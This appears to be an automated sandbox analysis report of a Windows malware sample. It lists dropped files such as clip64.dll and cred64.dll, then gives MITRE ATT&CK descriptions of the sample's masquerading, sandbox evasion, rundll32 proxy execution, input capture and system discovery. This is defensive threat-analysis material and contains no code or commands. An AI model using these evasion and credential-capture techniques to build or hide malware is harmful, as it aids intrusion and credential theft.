C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe

C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe

C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll

C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre